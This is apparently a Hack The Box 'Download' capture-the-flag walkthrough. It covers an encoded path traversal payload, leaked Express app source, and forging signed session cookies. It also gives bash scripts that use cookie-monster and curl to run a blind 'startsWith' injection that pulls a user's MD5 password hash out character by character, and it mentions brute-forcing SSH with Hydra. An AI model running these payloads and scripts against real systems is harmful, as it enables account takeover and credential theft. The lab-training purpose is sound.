โฌ๏ธDownload - HTB
https://app.hackthebox.com/machines/Download

Path Traversal
by just using encoded ../ to url ,you will be able to bypass the filter and get Path Traversal ,but its restrectid to only webapp root directory which is 'app' in this case as is the running on express node.js web application.
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f



"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
autoescape: true,
express: app,
noCache: true,
});
app.use((0, cookie_session_1.default)({
name: "download_session",
keys: ["<READECTED>"],
maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
console.log("Listening on ", port);
if (process.env.NODE_ENV === "production") {
setTimeout(async () => {
await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
}, 300000);
}
});
get the secret key ,and start forging your tokens

as we can see we have two cookies ,token and its signature

we use the same token header to forge our own modified token


We can see that it was uploaded by Wesley, who has the user ID 1. Now we have two options: we can attempt to brute-force Wesley's SSH password using Hydra, or we can extract the MD5 hash of the user password through a NoSQL attack by targeting the password field.
#AFK-PATH

#Hardcore PATH
we can modify our token using contains to confirm if the md5 hash password contain "f" char

if you are able to see the user uploaded file ,that's mean its positive and the hash contains f char within it.
Now we try the "x" char which is not exist in the hash and lets check the respond

Now we are able to use 'startsWith' statment to dumb the full hash from beginning to end ,MD5 hash contains 32 char ,so we need to bruteforce 32 char ,this is too much work and scripting this is a must ,so i made a simple bash script inspired from this glue wrapper code
#!/bin/sh
prevchar=''
while true; do
for char in {{a..z},{0..9}}; do
./test.sh ${prevchar}${char}
if [ $? -eq 0 ]; then
/bin/echo -n $char
prevchar=$prevchar$char
break
fi
done
done
i have spent much time writing and testing the code ,and improving it and finally got this
#!/bin/bash
fuzz_chars=({a..z} {0..9})
prefix=""
found=false
while [ ${#prefix} -lt 32 ]; do
for char in "${fuzz_chars[@]}"; do
# Generate the cookie value
cookie=$(cookie-monster -b --input-file <(echo "{\"user\":{\"id\":1,\"password\": {\"startsWith\": \"$pr>
# Send an HTTP request and check if "wesley" exists in the response
curl -s -H "Cookie: $cookie" download.htb/home | grep -q -i wesley
# Check the exit status of the previous command
if [ $? -eq 0 ]; then
echo "Success: Start extracting the hash Value= '$prefix$char'."
prefix="$prefix$char"
found=true
break
fi
done
if [ "$found" = false ]; then
break
fi
found=false
done
Last updated